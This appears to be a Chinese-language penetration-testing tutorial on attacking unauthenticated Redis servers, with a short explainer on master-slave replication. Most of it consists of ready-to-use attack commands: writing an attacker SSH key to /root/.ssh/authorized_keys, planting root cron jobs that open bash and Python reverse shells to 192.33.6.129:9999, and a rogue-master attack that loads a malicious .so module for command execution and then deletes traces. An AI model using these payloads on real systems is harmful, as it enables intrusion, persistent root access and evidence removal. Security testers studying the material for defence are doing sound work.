Redis主从复制
未授权访问
版本3.2之前都是绑定0.0.0.0:6379所以暴露在公网
3.2之后绑定127.0.0.1相对安全,但是还是无密码可以利用ssrf进行利用(gopher,dict)
利用
注意flushall 危险操作,会清空所有缓存数据。
通用
windows
linux
ssh-keygen -t rsa#生成恶意公钥
#写入
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm/Rm/caKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD/QaHHLFMYvNXrGJQC+9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE+vjhCTQSYPJahin/s/a+IYEcjqyvkiuWVDWg2GMViMwq5Yh/ELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r+WxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2/DEzEqsQcveFWw7mhqfp9kNHP+AOv0wFwL9G8/glZEnGB root@rose\n\n"
save
-
写入定时任务反弹Shell # bash反弹
config set dir /var/spool/cron/
config set dbfilename root
set x '\n\n*/1 * * * * bash -i >& /dev/tcp/192.33.6.129/9999 0>&1\n\n'
save
config set dir /var/spool/cron/
config set dbfilename root
set x '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.33.6.129/9999 0>&1\n\n'
save
# python反弹
config set dir /var/spool/cron/
config set dbfilename root
set x "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.33.6.129\",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"
save
什么是主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点。
默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点
简单来说,主从关系中的两大角色master(主) 和 slave(从) ,为了达到读写分离,规定在主服务器中写(同时同步到从数据库),在从服务器中读。算是一种通过牺牲空间来换取效率的缓解方式。
为什么要用主从复制?
要实现分布式数据库的更大的存储容量和承受高并发访问量,将原来集中式数据库的数据分别存储到其他多个网络节点上。
简单实现
主 192.168.159.129 安装redis-server和redis-cli并启动
从 192.168.159.132 安装redis-server并启动
在主redis上执行
redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> slaveof no one
OK
127.0.0.1:6379> set lyy 1
OK
127.0.0.1:6379> get lyy
"1"
127.0.0.1:6379> exit
redis-cli -h 192.168.159.132
192.168.159.132:6379> slaveof 192.168.159.129 6379
OK
192.168.159.132:6379> get lyy
"1"
slaveof命令:设置主从关系,形式为slaveof ip port,其中slaveof no one表示不从属其他机器
注意如果是新版本需要更改配置
protected-mode no
getshell
主从复制getshell的原理就是在redis 4.x-5.x版本中,允许从外部加载.so文件并且将这个文件中代码变成redis功能的一部分,从而实现功能扩展。
可以利用这个功能通过编译恶意的.so文件,并将该文件同步到从属redis上,进行加载,即可实现恶意代码的功能
1.第一步通过未授权或者已知密码去连接服务端redis,建立和自己攻击机的从属关系
我们刚刚在上一步已经实现
2.恶意的so文件使用Dliv3师傅已经编译好的
https://github.com/Dliv3/redis-rogue-server
运行python脚本即可成功利用
python3 redis-rogue-server.py --rhost 192.168.159.132 --rport 6379 --lhost 192.168.159.129 --lport 6379
原理
-
自己搭建redis数据库,然后受害者将自己的数据库设置为主节点。 slaveof x.x.x.x xx
-
设置备份文件名为恶意so文件 set dir ./
set dbfilename exp.sp
-
加载恶意so文件,实现任意命令执行 module load ./exp.so
-
执行命令 system.exec 'whoami'
-
清理痕迹 config set dbfilename dump.rdb#redis快照文件
system.exec 'rm ./exp.so'
module unload system
优势
redis服务器中不包括除redis服务以外的任何服务时也可以利用,且更加便捷
|